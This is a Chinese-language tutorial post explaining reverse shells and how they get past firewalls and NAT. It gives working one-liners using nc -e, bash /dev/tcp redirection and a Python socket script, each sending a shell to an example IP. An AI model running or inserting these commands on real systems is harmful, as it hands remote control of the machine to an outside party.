前段时间被一位产品经理嘲笑了,说我居然连反弹 Shell 都不知道!
说实话当时我还真不知道,但这口气咽不下去啊,得赶紧学来看看,这不,我已经学会了!
学完之后我特地来记录下,同时分享给大家,以后产品经理再也不敢嘲笑我们不懂反弹 Shell 了!
我们都知道 Shell 的概念吧,简单来说,Shell 就是实现用户命令的接口,通过这个接口我们就能实现对计算机的控制,比如我们常见的 ssh 就是执行的 Shell 命令实现对远程对服务器的控制。
那反弹 Shell 是啥呢?其英文名叫做 Reverse Shell,具体干什么的呢?就是控制端首先监听某个 TCP/UDP 端口,然后被控制端向这个端口发起一个请求,同时将自己命令行的输入输出转移到控制端,从而控制端就可以输入命令来控制被控端了。
比如说,我们有两台主机 A、B,我们最终想实现在 A 上控制 B。那么如果用正向 Shell,其实就是在 A 上输入 B 的连接地址,比如通过 ssh 连接到 B,连接成功之后,我们就可以在 A 上通过命令控制 B 了。如果用反向 Shell,那就是在 A 上先开启一个监听端口,然后让 B 去连接 A 的这个端口,连接成功之后,A 这边就能通过命令控制 B 了。
还是原来的例子,我们想用 A 来控制 B,如果想用 ssh 等命令来控制,那得输入 B 的 sshd 地址或者端口对吧?但是在很多情况下,由于防火墙、安全组、局域网、NAT 等原因,我们实际上是无法直接连接到 B 的,比如:
如果是这些情况,我们就可以用反弹 Shell 用 A 来控制 B 了。
首先我们先看一个标准的反弹 Shell 的例子,这里我们一共需要两台主机:
在开始之前我们需要用到 nc 命令,安装非常简单。
如果是 CentOS 系列系统,安装命令如下:
yum install -y nc # CentOS
如果是 Ubuntu 系列系统,安装命令可以参考https://stackoverflow.com/questions/10065993/how-to-switch-to-netcat-traditional-in-ubuntu。
接着,我们在 A 上执行如下命令:
nc -lvp 32767
这个命令的意思是开启 32767 的端口监听,运行之后如图所示:
这样就表明 A 上正在监听 32767 端口的连接了。
这时候,我们可以在 B 上通过类似的命令连接到 A,假如 A 的 IP 是 111.112.113.114,那么命令如下:
nc 111.112.113.114 32767 -e /bin/bash
注意:你在运行的时候需要替换成 A 的真实 IP 和端口。
运行完毕之后,我们反过来观察下 A,就显示了来自某个 IP 和端口的连接,我们就可以输入命令来控制 B 了,比如这里我们输入了:
uname -a
然后就可以得到 B 的主机名了。
如图所示:
这样我们就通过 nc 包实现了反弹 Shell。
有人说,这 B 上一定需要安装 nc 这个包吗?其实不一定的,我们可以直接使用 bash 来实现反弹 Shell,命令如下:
bash -i >& /dev/tcp/111.112.113.114/32767 0>&1
这个命令大致解释下:
通过这样的命令,我们就可以就是将 B 的标准输出和错误输出都重定向给 A,并且将 A 的输入都重定向给 B,这样我们就可以实现 A 对 B 的远程控制了,如图所示:
比如这样我们就可以轻松在 A 主机上拿到 B 主机的主机名、当前所处路径等内容了。
另外除了用 bash,我们还可以利用 Python 进行反弹 Shell,脚本如下:
python -c 'import socket,subprocess,os; \
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("111.112.113.114",32767));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
可以达到同样反弹 Shell 的效果,即可以用 A 来控制 B。
以上就是反弹 Shell 的介绍,灵活运用反弹 Shell 可以大大便利某些场景下的远程控制,希望对大家有帮助。